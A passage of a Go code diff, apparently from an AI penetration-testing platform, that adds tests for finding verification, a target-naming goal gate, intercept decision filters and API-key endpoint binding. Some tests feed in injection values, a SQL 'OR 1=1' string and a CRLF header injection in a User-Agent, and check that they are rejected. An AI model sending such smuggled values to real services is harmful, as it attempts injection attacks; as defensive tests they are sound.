{"gzip header, no bytes", decodeGzipHead, nil},
{"deflate header, no bytes", "HTTP 200\nContent-Encoding: deflate\n", nil},
{"identity header, no bytes", "HTTP 200\nContent-Encoding: identity\n", nil},
{"no encoding header, no bytes", "HTTP 304\nContent-Type: text/html\n", nil},
{"gzip stream of an empty payload", decodeGzipHead, gzipBody(t, nil)},
}
quotes := []string{
decodeQuote,
"x",
// Present in the response head: the head is not searchable text.
"Content-Encoding: gzip",
"HTTP 200",
}
for _, c := range cases {
store, snap := decodeSnapshot(t, c.head, c.raw)
bb, err := readBoundResponse(store, snap)
if err != nil {
t.Fatalf("%s: %v", c.name, err)
}
if bb.text != "" || bb.nonText || bb.truncated {
t.Fatalf("%s: got %+v, want an empty text body", c.name, bb)
}
for _, q := range quotes {
nq := normalizeEvidenceText(q)
if nq == "" {
t.Fatalf("quote %q normalizes to nothing", q)
}
if quoteInBodies(nq, []boundBody{bb}) {
t.Fatalf("%s: quote %q matched an empty body", c.name, q)
}
}
}
}
+178
View File
@@ -0,0 +1,178 @@
package server
import (
"context"
"encoding/json"
"fmt"
"net/http/httptest"
"os"
"path/filepath"
"strings"
"testing"
"github.com/Autumn-27/artex/db"
actool "github.com/Autumn-27/norma/tool"
)
const verificationBody = "HTTP/1.1 200 OK\nuser admin:\tx7\nend of dump"
func TestNormalizeEvidenceText(t *testing.T) {
cases := map[string]string{
" a\t\tb\r\n c ": "a b c",
"Admin User": "Admin User", // case is kept
"": "",
}
for in, want := range cases {
if got := normalizeEvidenceText(in); got != want {
t.Fatalf("normalize(%q) = %q, want %q", in, got, want)
}
}
}
func TestShortQuoteCapsAtSixtyRunes(t *testing.T) {
long := strings.Repeat("é", 100)
if got := []rune(shortQuote(long)); len(got) != verificationNoteQuoteLen {
t.Fatalf("shortQuote kept %d runes, want %d", len(got), verificationNoteQuoteLen)
}
}
// verificationFixture returns a server with one finding whose traffic "a" is
// bound with the given role and whose response body is verificationBody.
func verificationFixture(t *testing.T, role string) (*Server, *db.RecordedFinding, func(string, string, string) *httptest.ResponseRecorder) {
t.Helper()
s, f, req := trafficEvidenceServer(t)
seedServerEvidenceFlow(t, s, "a", []byte(verificationBody))
if role != "" {
base := fmt.Sprintf("/api/exploration/findings/%d/traffic", f.FindingID)
w := req("POST", base, fmt.Sprintf(`{"traffic_refs":[{"traffic_id":"a","role":%q}]}`, role))
if w.Code != 200 {
t.Fatalf("bind: %d %s", w.Code, w.Body)
}
}
return s, f, req
}
// updateReport calls update_finding_report with the node id, as the agent does.
func updateReport(t *testing.T, s *Server, nodeID int64, extra string) (string, bool) {
t.Helper()
in := fmt.Sprintf(`{"finding_id":%d,"report":"# report","evidence_version":null%s}`, nodeID, extra)
res, err := s.toolUpdateFindingReport().Call(context.Background(), json.RawMessage(in), &actool.ToolContext{})
if err != nil {
t.Fatal(err)
}
return res.Flatten(), res.IsError
}
func storedVerification(t *testing.T, s *Server, findingID int64) (status string, poe int, note, report string) {
t.Helper()
if err := s.m.pg.QueryRow(`SELECT verification_status, poe_level, verification_note, report FROM findings WHERE id=$1`, findingID).
Scan(&status, &poe, &note, &report); err != nil {
t.Fatal(err)
}
return
}
func TestVerificationNoBindingPOE4Unverified(t *testing.T) {
s, f, _ := verificationFixture(t, "")
msg, isErr := updateReport(t, s, f.NodeID, `,"poe_level":4,"evidence_quotes":["x7"]`)
if isErr || !strings.Contains(msg, "verification: unverified - no proof traffic bound") {
t.Fatalf("unexpected result: err=%v %q", isErr, msg)
}
status, poe, note, report := storedVerification(t, s, f.FindingID)
if status != db.VerificationUnverified || poe != 4 || note != "no proof traffic bound" || report == "" {
t.Fatalf("stored: status=%s poe=%d note=%q report=%q", status, poe, note, report)
}
}
func TestVerificationProofPOE3MissingQuoteUnverified(t *testing.T) {
s, f, _ := verificationFixture(t, "proof")
msg, isErr := updateReport(t, s, f.NodeID, `,"poe_level":3,"evidence_quotes":["secret=999"]`)
if isErr || !strings.Contains(msg, "warning:") {
t.Fatalf("unexpected result: err=%v %q", isErr, msg)
}
status, _, note, report := storedVerification(t, s, f.FindingID)
if status != db.VerificationUnverified || !strings.HasPrefix(note, "quote not found in bound evidence: secret=999") || report == "" {
t.Fatalf("stored: status=%s note=%q report=%q", status, note, report)
}
}
func TestVerificationProofPOE3ExactQuoteVerified(t *testing.T) {
s, f, _ := verificationFixture(t, "verification")
// The quote differs from the body only in whitespace runs: it must still match.
msg, isErr := updateReport(t, s, f.NodeID, `,"poe_level":3,"evidence_quotes":["user admin: x7"]`)
if isErr || !strings.Contains(msg, "verification: verified (POE L3)") {
t.Fatalf("unexpected result: err=%v %q", isErr, msg)
}
status, poe, note, _ := storedVerification(t, s, f.FindingID)
if status != db.VerificationVerified || poe != 3 || note != "" {
t.Fatalf("stored: status=%s poe=%d note=%q", status, poe, note)
}
}
func TestVerificationShortQuoteUnverified(t *testing.T) {
s, f, _ := verificationFixture(t, "proof")
// "x7" is present in the body but below verificationMinQuoteRunes: it must not count.
msg, isErr := updateReport(t, s, f.NodeID, `,"poe_level":3,"evidence_quotes":["x7"]`)
if isErr || !strings.Contains(msg, "verification: unverified - evidence quote too short") {
t.Fatalf("unexpected result: err=%v %q", isErr, msg)
}
status, _, note, _ := storedVerification(t, s, f.FindingID)
if status != db.VerificationUnverified || note != "evidence quote too short" {
t.Fatalf("stored: status=%s note=%q", status, note)
}
}
func TestVerificationOldStyleCallUnverifiedWithoutError(t *testing.T) {
s, f, _ := verificationFixture(t, "proof")
msg, isErr := updateReport(t, s, f.NodeID, "")
if isErr || !strings.Contains(msg, "verification: unverified") {
t.Fatalf("unexpected result: err=%v %q", isErr, msg)
}
status, poe, _, report := storedVerification(t, s, f.FindingID)
if status != db.VerificationUnverified || poe != 0 || report == "" {
t.Fatalf("stored: status=%s poe=%d report=%q", status, poe, report)
}
}
func TestVerificationUnreadableStoreNotAssessedReportSaved(t *testing.T) {
s, f, _ := verificationFixture(t, "proof")
// Remove the blobs behind the bound snapshot: the evidence store cannot open the body.
if err := os.RemoveAll(filepath.Join(s.m.dir, "evidence")); err != nil {
t.Fatal(err)
}
msg, isErr := updateReport(t, s, f.NodeID, `,"poe_level":3,"evidence_quotes":["user admin: x7"]`)
if isErr || !strings.Contains(msg, "verification: not_assessed") {
t.Fatalf("unexpected result: err=%v %q", isErr, msg)
}
status, _, note, report := storedVerification(t, s, f.FindingID)
if status != db.VerificationNotAssessed || !strings.HasPrefix(note, "evidence body unreadable") || report == "" {
t.Fatalf("stored: status=%s note=%q report=%q", status, note, report)
}
}
func TestVerificationRejectsOutOfRangePOE(t *testing.T) {
s, f, _ := verificationFixture(t, "proof")
msg, isErr := updateReport(t, s, f.NodeID, `,"poe_level":9`)
if !isErr || !strings.Contains(msg, "invalid poe_level 9") {
t.Fatalf("unexpected result: err=%v %q", isErr, msg)
}
if _, _, _, report := storedVerification(t, s, f.FindingID); report != "" {
t.Fatal("report must not be written when the input is rejected")
}
}
func TestVerificationColumnsExistWithHonestDefaults(t *testing.T) {
s, f, _ := trafficEvidenceServer(t)
var n int
if err := s.m.pg.QueryRow(`SELECT count(*) FROM information_schema.columns
WHERE table_name='findings' AND column_name IN ('poe_level','verification_status','verification_note')`).Scan(&n); err != nil {
t.Fatal(err)
}
if n != 3 {
t.Fatalf("expected 3 verification columns, found %d", n)
}
status, poe, note, _ := storedVerification(t, s, f.FindingID)
if status != db.VerificationUnverified || poe != 0 || note != "" {
t.Fatalf("new row: status=%s poe=%d note=%q", status, poe, note)
}
}
+4 -3
View File
@@ -29,9 +29,10 @@ func findingPaginationParam(raw string, fallback, upperBound int) int {
// query string. The list / grouping / asset tree / export all share one parsing path; new filter options only change here.
func findingFilterFromQuery(q url.Values) db.FindingFilter {
return db.FindingFilter{
Severity: normFilter(q.Get("severity")),
Status: normFilter(q.Get("status")),
VulnClass: normFilter(q.Get("vulnclass")),
Severity: normFilter(q.Get("severity")),
Status: normFilter(q.Get("status")),
VerificationStatus: normFilter(q.Get("verification_status")),
VulnClass: normFilter(q.Get("vulnclass")),
// task_id (independent of the task param, which switches to the per-task-node branch): filters the global table by task.
TaskID: normFilter(q.Get("task_id")),
Query: q.Get("q"),
+42
View File
@@ -0,0 +1,42 @@
package server
import (
"errors"
"regexp"
"strings"
)
// Ambiguity gate (ouroboros take, #99): a task goal must name a concrete target
// and be long enough to carry a testable objective before any token is spent.
// The live failure this guards against: a benchmark task whose goal named no
// target URL passed creation silently and the planner sent every worker to an
// unrelated asset. A goal that is deliberately target-less (pure analysis over
// provided material) can opt out with the literal marker [targetless].
var (
goalMinLen = 80
goalTargetlessRE = regexp.MustCompile(`\[targetless\]`)
goalURLRE = regexp.MustCompile(`(?i)\bhttps?://\S+`)
goalDomainRE = regexp.MustCompile(`(?i)\b[a-z0-9][a-z0-9-]{1,61}\.[a-z]{2,}(:[0-9]+)?(/\S*)?\b`)
goalIPv4RE = regexp.MustCompile(`\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}(:\d+)?\b`)
goalLocalhostRE = regexp.MustCompile(`(?i)\blocalhost:[0-9]+\b`)
goalPathRE = regexp.MustCompile(`(?i)(^|\s)/[a-z0-9_-]+(/[a-z0-9_.-]+)+`)
)
// goalGateCheck returns a descriptive error when the goal is too ambiguous to
// dispatch workers against. Order: explicit opt-out, length floor, target
// presence (URL, domain, IPv4, localhost:port, or absolute path).
func goalGateCheck(goal string) error {
g := strings.TrimSpace(goal)
if goalTargetlessRE.MatchString(g) {
return nil
}
if len(g) < goalMinLen {
return errors.New("goal is too short to carry a testable objective (min 80 chars): name the target and what counts as success; add the literal marker [targetless] only for genuinely target-less analysis tasks")
}
if goalURLRE.MatchString(g) || goalDomainRE.MatchString(g) ||
goalIPv4RE.MatchString(g) || goalLocalhostRE.MatchString(g) || goalPathRE.MatchString(g) {
return nil
}
return errors.New("goal names no target: include the URL/host/IP/path under test (or the literal marker [targetless] for target-less analysis tasks) so workers cannot be dispatched against an unrelated asset")
}
+37
View File
@@ -0,0 +1,37 @@
package server
import (
"strings"
"testing"
)
func TestGoalGateCheck(t *testing.T) {
good := map[string]string{
"url target": "Audit " + strings.Repeat("x ", 60) + " at https://example.com/app every module for injection issues and record one finding per issue with evidence.",
"bare domain": strings.Repeat("probe ", 25) + "the api at target.example.org for unauthenticated data exposure, one record proof, then stop.",
"ipv4": strings.Repeat("recon ", 25) + "10.0.0.5 and map every listening service before any test.",
"localhost port": strings.Repeat("verify ", 25) + "localhost:3000 health endpoints respond identically before and after config reload.",
"path": strings.Repeat("review ", 25) + "the module at /app/data/core for hardcoded secrets and report each hit.",
"targetless opt-out": "[targetless] " + strings.Repeat("summarize ", 20) + "the attached material into a prioritized hypothesis list.",
}
good["targetless short but marked"] = "[targetless] analyze nothing"
bad := map[string]string{
"no target long": strings.Repeat("do a thorough security review of everything and report anything interesting that comes up during the exploration phase of this audit, thanks. ", 2),
"too short": "audit the site",
"short and bare": "find bugs",
}
for name, g := range good {
if name == "targetless short+:url" {
continue
}
if err := goalGateCheck(g); err != nil {
t.Errorf("%s: unexpected error: %v", name, err)
}
}
for name, g := range bad {
if err := goalGateCheck(g); err == nil {
t.Errorf("%s: expected error, got none", name)
}
}
}
+6 -1
View File
@@ -321,7 +321,7 @@ func (s *Server) interceptHistory(w http.ResponseWriter, r *http.Request) {
}
func interceptFilterParams(q url.Values) (db.InterceptApprovalFilter, error) {
filter := db.InterceptApprovalFilter{Status: q.Get("status"), DecisionSource: q.Get("decision_source")}
filter := db.InterceptApprovalFilter{Status: q.Get("status"), DecisionSource: q.Get("decision_source"), DecidedBy: q.Get("decided_by")}
switch filter.Status {
case "", "pending", "allowed", "denied", "timeout":
default:
@@ -332,6 +332,11 @@ func interceptFilterParams(q url.Values) (db.InterceptApprovalFilter, error) {
default:
return filter, fmt.Errorf("decision_source must be model, rule or unknown")
}
switch filter.DecidedBy {
case "", "human", "rule", "model", "system":
default:
return filter, fmt.Errorf("decided_by must be human, rule, model or system")
}
return filter, nil
}
+231
View File
@@ -0,0 +1,231 @@
package server
import (
"context"
"encoding/json"
"fmt"
"net/http"
"net/http/httptest"
"net/url"
"strings"
"testing"
"github.com/Autumn-27/artex/db"
"github.com/Autumn-27/artex/intercept"
)
// Pure parameter validation: runs without Postgres.
func TestInterceptFilterParamsDecidedBy(t *testing.T) {
for _, actor := range []string{"", "human", "rule", "model", "system"} {
filter, err := interceptFilterParams(url.Values{"decided_by": {actor}})
if err != nil || filter.DecidedBy != actor {
t.Fatalf("decided_by=%q: %+v err=%v", actor, filter, err)
}
}
for _, actor := range []string{"invalid", "MODEL", "unknown", "human' OR 1=1 --"} {
if _, err := interceptFilterParams(url.Values{"decided_by": {actor}}); err == nil {
t.Fatalf("decided_by=%q accepted", actor)
}
}
}
// Drives every real writer (rule/model log, HTTP decide, timeout, cancellation)
// and reads the actor back through the HTTP lists.
func TestInterceptDecidedByHTTP(t *testing.T) {
dsn, _, err := db.DSN()
if err != nil {
t.Skip("no test database configured")
}
d, err := db.Open(dsn)
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = d.Close() })
m := &Manager{pg: d, interceptor: intercept.New(d)}
s := &Server{m: m, jwtKey: []byte("approval-decided-by-test-key")}
h := s.Handler()
token, err := signJWT(s.jwtKey)
if err != nil {
t.Fatal(err)
}
scope := "approval-http-decided-by"
t.Cleanup(func() { _, _ = d.Exec(`DELETE FROM intercept_pending WHERE task_id=$1`, scope) })
rule, err := d.CreateInterceptRule("decided-by http fixture", "tool_name", "string", "Bash", "deny", "fixture", 1, false, false, 0, "deny")
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _, _ = d.Exec(`DELETE FROM intercept_rules WHERE id=$1`, rule.ID) })
do := func(method, path, body string) *httptest.ResponseRecorder {
req := httptest.NewRequest(method, path, strings.NewReader(body))
req.Header.Set("Authorization", "Bearer "+token)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
return rec
}
// Every step below adds exactly one row to the scope; added returns it.
want := map[int64]string{}
added := func(actor, status string) int64 {
t.Helper()
rows, err := d.ListTaskIntercepts(scope)
if err != nil {
t.Fatal(err)
}
for _, r := range rows {
if _, known := want[r.ID]; known {
continue
}
if r.Status != status {
t.Fatalf("new row %d has status %q, want %q", r.ID, r.Status, status)
}
want[r.ID] = actor
return r.ID
}
t.Fatalf("no new row for %s/%s", actor, status)
return 0
}
ctx := intercept.WithTaskContext(context.Background(), scope, "test", nil)
input := []byte(`{"command":"fixture"}`)
modelAsk := intercept.Decision{Action: "ask", Message: db.ModelReasonPrefix + " confirm"}
m.interceptor.Log(ctx, 0, intercept.Decision{Action: "deny", RuleID: rule.ID, Message: "fixture"}, "Bash", input, "denied")
ruleID := added("rule", "denied")
m.interceptor.Log(ctx, 0, intercept.Decision{Action: "allow", Message: db.ModelReasonPrefix + " fixture"}, "Bash", input, "allowed")
modelID := added("model", "allowed")
for _, decision := range []string{"allowed", "denied"} {
id, err := d.CreateInterceptPending(0, 0, scope, "test", "Bash", input, modelAsk.Message)
if err != nil {
t.Fatal(err)
}
if r := do(http.MethodPost, fmt.Sprintf("/api/intercept/pending/%d/decide", id), `{"decision":"`+decision+`"}`); r.Code != 200 {
t.Fatalf("decide %s: %d %s", decision, r.Code, r.Body.String())
}
if got := added("human", decision); got != id {
t.Fatalf("decided row %d, want %d", got, id)
}
}
timed := modelAsk
timed.TimeoutEnabled, timed.TimeoutSeconds, timed.TimeoutAction = true, 1, "deny"
if m.interceptor.HandleAsk(ctx, 0, timed, "Bash", input) {
t.Fatal("timeout policy deny allowed the call")
}
added("system", "timeout")
// Work cancelled: a system refusal recorded with status 'denied', on both
// the no-timeout and the timeout-armed wait.
cancelled, cancel := context.WithCancel(ctx)
cancel()
if m.interceptor.HandleAsk(cancelled, 0, modelAsk, "Bash", input) {
t.Fatal("cancelled ask allowed the call")
}
added("system", "denied")
timed.TimeoutSeconds = 60
if m.interceptor.HandleAsk(cancelled, 0, timed, "Bash", input) {
t.Fatal("cancelled timed ask allowed the call")
}
added("system", "denied")
if _, err := d.CreateInterceptPending(0, 0, scope, "test", "Bash", input, modelAsk.Message); err != nil {
t.Fatal(err)
}
added("", "pending")
type item struct {
ID int64 `json:"id"`
Status string `json:"status"`
DecidedBy *string `json:"decided_by"`
}
list := func(path string) (items []item, total int) {
t.Helper()
rec := do(http.MethodGet, path, "")
var body struct {
Items []item `json:"items"`
Total int `json:"total"`
}
if rec.Code != 200 || json.Unmarshal(rec.Body.Bytes(), &body) != nil {
t.Fatalf("%s: %d %s", path, rec.Code, rec.Body.String())
}
for _, it := range body.Items {
if it.DecidedBy == nil {
t.Fatalf("%s: item %d has no decided_by field", path, it.ID)
}
}
return body.Items, body.Total
}
task := "/api/intercept/task/" + scope
items, total := list(task)
if total != len(want) || len(items) != len(want) {
t.Fatalf("task list: total=%d items=%d want=%d", total, len(items), len(want))
}
for _, it := range items {
if *it.DecidedBy != want[it.ID] {
t.Fatalf("item %d (%s) decided_by=%q, want %q", it.ID, it.Status, *it.DecidedBy, want[it.ID])
}
}
for _, tc := range []struct {
query string
total int
}{
{"?decided_by=model", 1},
{"?decided_by=rule", 1},
{"?decided_by=human", 2},
{"?decided_by=system", 3},
{"?status=denied&decided_by=human", 1},
{"?status=denied&decided_by=system", 2},
{"?status=timeout&decided_by=model", 0},
} {
items, total := list(task + tc.query)
if total != tc.total || len(items) != tc.total {
t.Fatalf("%s: total=%d items=%d want=%d", tc.query, total, len(items), tc.total)
}
for _, it := range items {
if !strings.Contains(tc.query, "decided_by="+*it.DecidedBy) {
t.Fatalf("%s returned item %d decided by %q", tc.query, it.ID, *it.DecidedBy)
}
}
}
if items, _ := list(task + "?decided_by=model"); len(items) != 1 || items[0].ID != modelID {
t.Fatalf("decided_by=model returned %+v, want only %d", items, modelID)
}
// The global history holds other tests' rows too: none of this test's human,
// rule or system decisions may surface under decided_by=model.
items, _ = list("/api/intercept/history?size=100&decided_by=model")
for _, it := range items {
if actor, mine := want[it.ID]; *it.DecidedBy != "model" || mine && actor != "model" {
t.Fatalf("history decided_by=model returned item %d (%s) decided by %q", it.ID, it.Status, *it.DecidedBy)
}
}
for _, base := range []string{"/api/intercept/history", task} {
for _, query := range []string{"?decided_by=invalid", "?decided_by=MODEL", "?decided_by=unknown", "?page=1&decided_by=human%27+OR+1%3D1--"} {
if rec := do(http.MethodGet, base+query, ""); rec.Code != 400 {
t.Fatalf("invalid filter %s%s: %d %s", base, query, rec.Code, rec.Body.String())
}
}
}
// A row decided before the column existed keeps an empty decided_by; its
// decision_source stays in its own field and no decided_by filter returns it.
if _, err := d.Exec(`UPDATE intercept_pending SET decided_by='' WHERE id=$1`, ruleID); err != nil {
t.Fatal(err)
}
rec := do(http.MethodGet, fmt.Sprintf("/api/intercept/history/%d", ruleID), "")
var legacy struct {
DecidedBy *string `json:"decided_by"`
DecisionSource string `json:"decision_source"`
}
if rec.Code != 200 || json.Unmarshal(rec.Body.Bytes(), &legacy) != nil ||
legacy.DecidedBy == nil || *legacy.DecidedBy != "" || legacy.DecisionSource != "rule" {
t.Fatalf("legacy detail: %d %s", rec.Code, rec.Body.String())
}
if items, total := list(task + "?decided_by=rule"); total != 0 || len(items) != 0 {
t.Fatalf("legacy row matched decided_by=rule: %+v", items)
}
items, _ = list(task + "?decision_source=rule")
if len(items) != 1 || items[0].ID != ruleID || *items[0].DecidedBy != "" {
t.Fatalf("legacy row under decision_source=rule: %+v", items)
}
}
-1
View File
@@ -11,7 +11,6 @@ import (
)
func TestInterceptFilterHTTP(t *testing.T) {
t.Skip("known failure with a fresh database, pre-existing on unmodified upstream; tracked in BaaRai/ARTEX#9")
dsn, _, err := db.DSN()
if err != nil {
t.Skip("no test database configured")
+165
View File
@@ -0,0 +1,165 @@
package server
import (
"bytes"
"context"
"encoding/json"
"net/http"
"net/http/httptest"
"sync/atomic"
"testing"
"github.com/Autumn-27/artex/agent"
"github.com/Autumn-27/artex/db"
)
func TestSameLLMEndpoint(t *testing.T) {
for _, tc := range []struct {
provA, baseA, provB, baseB string
want bool
}{
{"anthropic", "https://gw.example", "anthropic", "https://gw.example/", true},
{"anthropic", "https://gw.example/v1/messages", "anthropic", "https://gw.example", true},
{"", "", "anthropic", "", true}, // empty provider defaults to anthropic
{"openai", " https://gw.example/v1/chat/completions ", "openai", "https://gw.example/v1", true},
{"anthropic", "https://evil.example", "anthropic", "https://gw.example", false},
{"anthropic", "", "anthropic", "https://gw.example", false}, // canonical host != saved host
{"openai", "", "anthropic", "", false}, // different canonical hosts
{"openai", "https://gw.example/v1", "openai-responses", "https://gw.example/v1", false},
} {
if got := sameLLMEndpoint(tc.provA, tc.baseA, tc.provB, tc.baseB); got != tc.want {
t.Errorf("sameLLMEndpoint(%q,%q,%q,%q)=%v want %v", tc.provA, tc.baseA, tc.provB, tc.baseB, got, tc.want)
}
}
}
// keyRecorder is a fake Anthropic endpoint that records the x-api-key it receives.
func keyRecorder(t *testing.T) (*httptest.Server, *atomic.Int32, *atomic.Value) {
var hits atomic.Int32
var key atomic.Value
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
hits.Add(1)
key.Store(r.Header.Get("x-api-key"))
w.Header().Set("Content-Type", "application/json")
_, _ = w.Write([]byte(`{"id":"m","type":"message","role":"assistant","model":"m","content":[{"type":"text","text":"OK"}],"stop_reason":"end_turn","usage":{"input_tokens":1,"output_tokens":1},"data":[]}`))
}))
t.Cleanup(srv.Close)
return srv, &hits, &key
}
func postJSON(t *testing.T, h http.HandlerFunc, path string, body map[string]any) map[string]any {
t.Helper()
b, _ := json.Marshal(body)
req := httptest.NewRequest(http.MethodPost, path, bytes.NewReader(b))
req.Header.Set("Content-Type", "application/json")
rec := httptest.NewRecorder()
h(rec, req)
var resp map[string]any
_ = json.Unmarshal(rec.Body.Bytes(), &resp)
return resp
}
// The global key must not follow a base_url typed into the test form.
func TestLLMTestGlobalKeyOnlyForGlobalEndpoint(t *testing.T) {
saved, savedHits, savedKey := keyRecorder(t)
other, otherHits, _ := keyRecorder(t)
s := &Server{}
s.llmCfg = agent.ConfigFrom("anthropic", "m", saved.URL, "global-secret", "")
resp := postJSON(t, s.testLLM, "/api/llm/test", map[string]any{
"provider": "anthropic", "model": "m", "base_url": other.URL, "api_key": "", "streaming": false,
})
if otherHits.Load() != 0 || resp["ok"] != false {
t.Fatalf("global key went to a form-supplied host: hits=%d resp=%v", otherHits.Load(), resp)
}
postJSON(t, s.testLLM, "/api/llm/test", map[string]any{
"provider": "anthropic", "model": "m", "base_url": saved.URL + "/", "api_key": "", "streaming": false,
})
if k, _ := savedKey.Load().(string); savedHits.Load() != 1 || k != "global-secret" {
t.Fatalf("global key not used for its own endpoint: hits=%d key=%q", savedHits.Load(), k)
}
}
// The connection test applies the same User-Agent rule as saving a profile: a
// value with a control character is a 400 before any request leaves, and a
// printable value reaches the wire exactly as given.
func TestLLMTestValidatesUserAgent(t *testing.T) {
var hits atomic.Int32
var gotUA atomic.Value
fake := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
hits.Add(1)
gotUA.Store(r.Header.Get("User-Agent"))
w.Header().Set("Content-Type", "application/json")
_, _ = w.Write([]byte(`{"id":"m","type":"message","role":"assistant","model":"m","content":[{"type":"text","text":"OK"}],"stop_reason":"end_turn","usage":{"input_tokens":1,"output_tokens":1}}`))
}))
t.Cleanup(fake.Close)
s := &Server{}
post := func(ua string) *httptest.ResponseRecorder {
b, _ := json.Marshal(map[string]any{
"provider": "anthropic", "model": "m", "base_url": fake.URL, "api_key": "k", "streaming": false, "user_agent": ua,
})
req := httptest.NewRequest(http.MethodPost, "/api/llm/test", bytes.NewReader(b))
req.Header.Set("Content-Type", "application/json")
rec := httptest.NewRecorder()
s.testLLM(rec, req)
return rec
}
if rec := post("good/1.0\r\nX-Injected: 1"); rec.Code != http.StatusBadRequest || hits.Load() != 0 {
t.Fatalf("control character in user_agent: status %d hits=%d body=%s", rec.Code, hits.Load(), rec.Body.String())
}
const want = "MyTool/1.0 (contact-free)"
if rec := post(" " + want + " "); rec.Code != http.StatusOK {
t.Fatalf("printable user_agent: status %d body=%s", rec.Code, rec.Body.String())
}
if ua, _ := gotUA.Load().(string); hits.Load() != 1 || ua != want {
t.Fatalf("test request User-Agent = %q (hits=%d), want %q", ua, hits.Load(), want)
}
}
// A stored profile's key goes only to that profile's base URL, for both the
// connection test and the model listing.
func TestStoredProfileKeyOnlyForStoredEndpoint(t *testing.T) {
m, err := NewManager(t.TempDir(), "")
if err != nil {
t.Skipf("postgres unavailable (%v)", err)
}
t.Cleanup(func() { m.Close() })
ctx, cancel := context.WithCancel(context.Background())
cancel()
s := New(ctx, m, t.TempDir(), t.TempDir(), t.TempDir())
s.cfgMu.Lock()
s.llmCfg = agent.Config{} // no global key to fall back on
s.cfgMu.Unlock()
saved, savedHits, savedKey := keyRecorder(t)
other, otherHits, _ := keyRecorder(t)
pid, err := m.pg.SaveProfile(&db.LLMProfile{
Name: "key-endpoint", Format: "anthropic", Model: "m", BaseURL: saved.URL, APIKey: "profile-secret",
})
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _, _ = m.pg.Exec("DELETE FROM llm_profiles WHERE id=$1", pid) })
for _, ep := range []struct {
path string
h http.HandlerFunc
}{{"/api/llm/test", s.testLLM}, {"/api/llm/models", s.pgListModels}} {
resp := postJSON(t, ep.h, ep.path, map[string]any{
"provider": "anthropic", "model": "m", "base_url": other.URL, "api_key": "", "profile_id": pid, "streaming": false,
})
if otherHits.Load() != 0 || resp["ok"] != false {
t.Fatalf("%s: stored key went to a form-supplied host: hits=%d resp=%v", ep.path, otherHits.Load(), resp)
}
before := savedHits.Load()
postJSON(t, ep.h, ep.path, map[string]any{
"provider": "anthropic", "model": "m", "base_url": saved.URL, "api_key": "", "profile_id": pid, "streaming": false,
})
if k, _ := savedKey.Load().(string); savedHits.Load() == before || k != "profile-secret" {
t.Fatalf("%s: stored key not used for its own endpoint: key=%q", ep.path, k)
}
}
}
+272
View File
@@ -0,0 +1,272 @@
package server
import (
"bytes"
"context"
"encoding/json"
"net/http"
"net/http/httptest"
"sync/atomic"
"testing"
"time"
"github.com/Autumn-27/artex/agent"
"github.com/Autumn-27/artex/db"
"github.com/Autumn-27/norma/llm"
)
// ConfigFrom("ollama", ...) must normalize to the keyless sentinel with our own
// defaults, never the SDK's OpenAI-public-endpoint fallback.
func TestOllamaConfigFromKeylessDefaults(t *testing.T) {
c := agent.ConfigFrom("ollama", "", "", "", "")
if c.Format != agent.FormatOllama {
t.Fatalf("format=%v, want FormatOllama", c.Format)
}
if c.Provider() != "ollama" {
t.Fatalf("Provider()=%q", c.Provider())
}
if c.BaseURL != agent.DefaultOllamaBaseURL {
t.Fatalf("BaseURL=%q, want default %q", c.BaseURL, agent.DefaultOllamaBaseURL)
}
if c.Model == "" {
t.Fatal("model must default to a non-empty value")
}
if c.NeedsAPIKey() {
t.Fatal("ollama must not require an API key")
}
// A full endpoint URL is tolerated (the provider appends /chat/completions).
e := agent.ConfigFrom("ollama", "llama3.2", "http://box:11434/v1/chat/completions", "", "")
if e.BaseURL != "http://box:11434/v1" {
t.Fatalf("full endpoint URL not normalized: %q", e.BaseURL)
}
// A custom key is preserved (e.g. an authenticated Ollama gateway).
k := agent.ConfigFrom("ollama", "m", "http://box:11434", "ollama-secret", "")
if k.APIKey != "ollama-secret" {
t.Fatalf("custom key lost: %q", k.APIKey)
}
// The natural Ollama URL has no /v1, but the provider appends
// /chat/completions, so the base must be normalized to the /v1 root.
n := agent.ConfigFrom("ollama", "m", "http://box:11434", "", "")
if n.BaseURL != "http://box:11434/v1" {
t.Fatalf("bare host URL not normalized: %q", n.BaseURL)
}
}
// The provider built from an Ollama config speaks OpenAI Chat Completions on
// the wire (the SDK appends /chat/completions) with the placeholder Bearer (no
// real key was configured, no OPENAI_API_KEY env leak).
func TestOllamaProviderWiresOpenAIProtocol(t *testing.T) {
var gotPath, gotAuth, gotModel atomic.Value
fake := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
gotPath.Store(r.URL.Path)
gotAuth.Store(r.Header.Get("Authorization"))
var body struct {
Model string `json:"model"`
}
_ = json.NewDecoder(r.Body).Decode(&body)
gotModel.Store(body.Model)
w.Header().Set("Content-Type", "application/json")
_, _ = w.Write([]byte(`{"id":"1","object":"chat.completion","model":"llama3.2","choices":[{"index":0,"message":{"role":"assistant","content":"OK"},"finish_reason":"stop"}],"usage":{"prompt_tokens":1,"completion_tokens":1}}`))
}))
t.Cleanup(fake.Close)
cfg := agent.ConfigFrom("ollama", "llama3.2", fake.URL, "", "")
cfg.Stream = false // non-streaming: the fake answers one plain JSON body
prov, err := cfg.NewProvider()
if err != nil {
t.Fatal(err)
}
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
req := llm.CompletionRequest{
System: []string{"You are a connection test. Output OK."},
Messages: []llm.Message{llm.UserText("ping")},
}
if _, _, _, err = prov.Complete(ctx, req); err != nil {
t.Fatalf("Complete: %v", err)
}
// ConfigFrom normalizes the fake server URL (no /v1) onto the OpenAI root,
// so the request must land on /v1/chat/completions. A path of /chat/completions
// would mean the base URL leaked through unnormalized (or fell back to OpenAI).
if p, _ := gotPath.Load().(string); p != "/v1/chat/completions" {
t.Fatalf("path=%q, want /v1/chat/completions", p)
}
if a, _ := gotAuth.Load().(string); a != "Bearer ollama" {
t.Fatalf("Authorization=%q, want placeholder Bearer ollama", a)
}
if m, _ := gotModel.Load().(string); m != "llama3.2" {
t.Fatalf("model on wire=%q", m)
}
}
// A keyless Ollama profile must be usable end to end: stored round-trips,
// loadProfileConfig accepts it, the task chain validates it, the failover pool
